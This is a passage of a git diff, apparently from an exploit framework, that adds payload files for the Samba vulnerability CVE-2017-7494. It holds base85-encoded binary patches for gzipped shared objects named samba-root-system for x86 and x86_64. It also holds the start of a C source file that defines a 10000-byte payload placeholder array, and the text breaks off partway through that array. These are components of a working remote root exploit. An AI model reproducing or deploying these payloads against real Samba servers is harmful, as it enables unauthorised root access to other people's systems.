zu0_)MisNC_9cI@VXKZNdWrc!&B^4QOl?b$7fojM9y&kf%HXCfhI9b+?_o(8A7( zol|xvO9+d78M!(zekU=ewE6Prc0o^x`+C9cwAU4*7}wQF8*)sUt{df~oo+^)gmW3*_Y80lL`GU)f?%@t zSWX3S>tT;BI~u@pH#`tgz9QRszvD#$OwMVWSi|9{lL*#rto&+aj;ua`&Lx~#`DQh_ z;A-D!G#+LhNQu8D%R*8XG8ULj(1bu-3$;KnXlG$`Jc&0|5)#vmyQd@InaVMS{OOL- zcbnm^O%}@c`DOUFKs3RW!CHr$niW`T;ksB5y+2frinA>GL@ZH#Kj@~6Obn}Rw3zCB zeD_yo%#N$#Cu_C8FgwxknzMIR1lSc*fAn@v027)cavwUK(a{Oom!fpJa@42H*>_mT zqI$#ay~7d!v5%11(HFMKJOJYvI>EH tBWGVsB%{}dnAyWOA#J>y)wqYuV0T)3)fJQ4f;j?FHca}iim#B+e*t%W1epK; literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..8a40ca9cac051cb9360c6212bf8dcc71fd5fd9dd GIT binary patch literal 2450 zcmV;D32pWtiwFn^_bFKd19M?*Vqq@%Qw}1~SU<0g%l~B;;*ipf$jD$L1 z^$RsfYdH;V0C*g!T-2+`Dr=FNINbzJRPPm3uN0^mIN5dmx2=GM$~HX$ob3AjSPvyo z&fUWR);r_#DuRH=&iu2n0O;8}4EJCA*U5_4R~}dxo8P-||IwNK*IAn}Og1oMDjXpYQkO3nSK8)h-L;8Tw>x>wQ zL@)sp##F>K0+2AGBL?%RN6kPI8;^#J*mzL4Og(OzmYz%m<1l8%pN7N~8i)eZ<;_Hk zNO)vaOPE?K=)r(t8R&l`k>LHoQ?UT_^!0Xh>RU8_zO-5UCLa-%%{LH7<$<3H7sYjD z;~NeyA>CWzT%svlMK(SX^)#<5snEo^&&PQd<#L=jbHs7--XV_H=q_m%U`TbuabnjK#~XbGalDp;skzGRb7=Tj=B-A6bm~qnmpgvJD$72FCsUUy4`y6* zJog4oh}@Y`xMgMm1uDqi`k#wr%;m1FqCxaE-LqD_upr+yiIOd5O!O7wv@e%O{X*2 z9Zbo4@QF;?+nf>eW1JcPfF?Ok#*Nk~XYNJvOXNJvOXNJvOXNJvOXNJvOXNJvOX zNJvOXNJvOXNPMZ$)7klL--h9lWXwwX9@Sbj|EAU?lQ#cobF1cW(ONe0^S&+q&8_}c z|F=rosTavz9+Bm>EibE#AIZ!7E5MVgE%OiePIzpYf8cm7FY^SfnY>)VxX)|LJTs>) zFIO=>k(U=SejzU}X8d|yu4dfM^YXASDS4hAmunb*H80mPzOdGoMTS$8EiYxjt9JNT&_8_>dQfKvK_AZm`$V;4Y)YI&mQ`~uncNKS@<2}Wl z$5^Ji{ViAB{x%lLovJ%ea#(feLBeRMrdeRt=8-q$-gr0Y<~Z`7@*K1z9v z3DgLf`gp_~F(P`vGUEx|NKV428J&m(tzbagy2bA=t;8}Xbt4`(ru1OUici5<+=vGC zKr$Mg!X^%hCq6n=Sz_ZR%6#0!^Bq~RI|thLbnD%FyC^-Ag>IK8x3y~HK}(+))vZu6 z_Ov!KS?X+n&IS^u9x`G9mZAB8ih(L!2llq_>Fvbop1s3*_b%ahSJwcZ8rsuoyY1=Q z*U{dm@7uX^uzN@!YVYXl);~X2R3v8dq*7OUXj_{zCzE%&aL!+xo%+QRM(y-cmi_5W z2c=9>m-Q04sh^$L`e5!UPnHEOF%`9p5#&~!^N?MNnO0C6k0rH{WH=Jo6b=BBLPjD4 zT3{-MEjhR1yyj3ao(P*Um!M-^JQyK8UYLkjpfTT6)W%ILSiwm=vLV)jAu-QFfp|gU zP56Z4ns)iA(Kw63h=xaj%yAFws%bcUpyAYy;vD_rYcf5bD}aA{@60JLJQF$Sx&28l zXR2boCF%k@Be#%WPI=Rdg*|$95!DstkF(ro(N-1fGtoVVU;D8{-}~o;Us|_`);avD zf`)C-Q^aFM;wI?c8))=ZSU|^@CRVsL<;W>%ULrLz3Qdhu$G!zg+AKh`v%{ z{GM^>(SCubAKcGg(mmqPqkRNXokP#g4Lj9(&!dEvK Qs6J@#f6RiY3>-rM01b@;lmGw# literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..c383cfc129e30c68b01f24dbecdf6ef0c72a873e GIT binary patch literal 2357 zcmV-53Ci{#iwFn^_bFKd19M?*Vqqvxf+O=@4({qjr%HVI!d^Cl_f~m}J$~(9a#pi?S8)vWCht z_pCH}kJ5rf>1Fpcw5tVMM}*2@TA$ar1bu*$ilg2gc>VzBKQ#(!?i=rXKmL{FXIoEy z^QV7%FY(-;UP%I)zRfZIuPlx$mutrB5!Xc9(UbW7N5A~=TQ6LD>+ZqWV@IA{e(v1f zcNabm{q=+Uq2CP*yt!Fl{GcA36FR@wo*7EQGSXhvGMbXfmHu}Jy@ zseBsr4-WLiwWI1$wVjQI4^-ZKa82=lWSuGChGR{YS~B%0_lJQ0{;^@cPUj7Tcz%ZR zu?WvIeJM<2E!QdlmK}VJgI{s*+a3I>gLf{82M)f@!LK`b=Td2=?W&`Dg1yT+_$CK` z(7`+R`!)w(@8FYHJ_;sZ4V3DmAo(=hcwY>@A$=Mp zt*w+H_FqIgnyj@YtQU}uhHz~W>*tYprMYzFywnf@N}{YrYM(VIhFTX!6i{ za{gZO%6jO+PT0KP21)bk$I2^{;eEXTjNL@7m{i02u9AK%bPZtp_8wxtf$VQ=_>=Pw zk~daQB$Zpq_cyF&SlBgMSR*Nn*o);|>iXn!aKuUnl2^K(hX%07`FmDl^3|@NL2Wew zd$5{>kFi^UC74n9M|FFiu7&knIRQ!yYhQvnNxNbFyJ`JvsL1lt*jfyxqW9I?8?e;7 z@bS`ODGYP|r4HttzrFezq<%qKiSr?S>?WBzI#tRZ|5L4Wjf}%&DhvBI6j^agQP1TvG2L^{C4|(E6+ayg0B3hT<=}_!45l4 zi060O_gQ&Cv^;9S$7PXk#A(&-NB4bwF5|q1@=@VFu}XRIo^dZO zztT>&OwZ!?>hZit%egL;^D@p~Juh#0^vkQi@8YyDxFgK_ZI5vP9_4(1^H9tRrmxyM~L_}s?_qzYEiDoswRDWGX5 zJq2w9pqXahsuY&3N6J! zwJ462=Yd+B%USvalvaVrY4(;kEkm8km(+<;CYwH-Ndv4+>&0oHrswj|l1QsSQZ5*U zV#dsKiU!jPMpj1|>Dx@!0xE6~dR3=P_+lBe@QDXnHKyrWnNAlf8ZjY@hU8@L=TimT z4n3Di0aP5R0neQZhZm@D`R3p{`|tQk=sc+dmG}*>c>T&=Tz&5Rt6VmjJ@bQ@?6uEC zx~~fMopg_2_RL>m^14!~*XOWjCv1$C&Fq<9#pHdLbIA!5tY3DtpZQ-*whHa{333#W z*c98%3-B`P7&pbG|7l0xaQ*-MTd#KL*J|@Q<_B&ndXF=tE6dtdGk7v2f2X>hHi$*kNz`gQ2b2-=yug*C&hD-=h5; zI`+)I@_$B%zNqly78K_3vQR(s>zBerZ}X_1$@c|&+uw^+_NRy0|531K{%DNaw;kZ^ zMW1Pfmc{Iu|21>meZ0i|>mKFAelq)G9`;Ob2ktR)#t9<-zDfPgwd=&&wEph}D(B2+ bUG|@PkNT5cL_X$wc>VtYiVY>?SVsT=KV8lr literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-system.c b/data/exploits/CVE-2017-7494/samba-root-system.c new file mode 100644 index 0000000000..1ca13c264f --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-system.c @@ -0,0 +1,24 @@ +#include +#include +#include +#include +#include +#include + +#define PAYLOAD_SIZE 10000 +unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0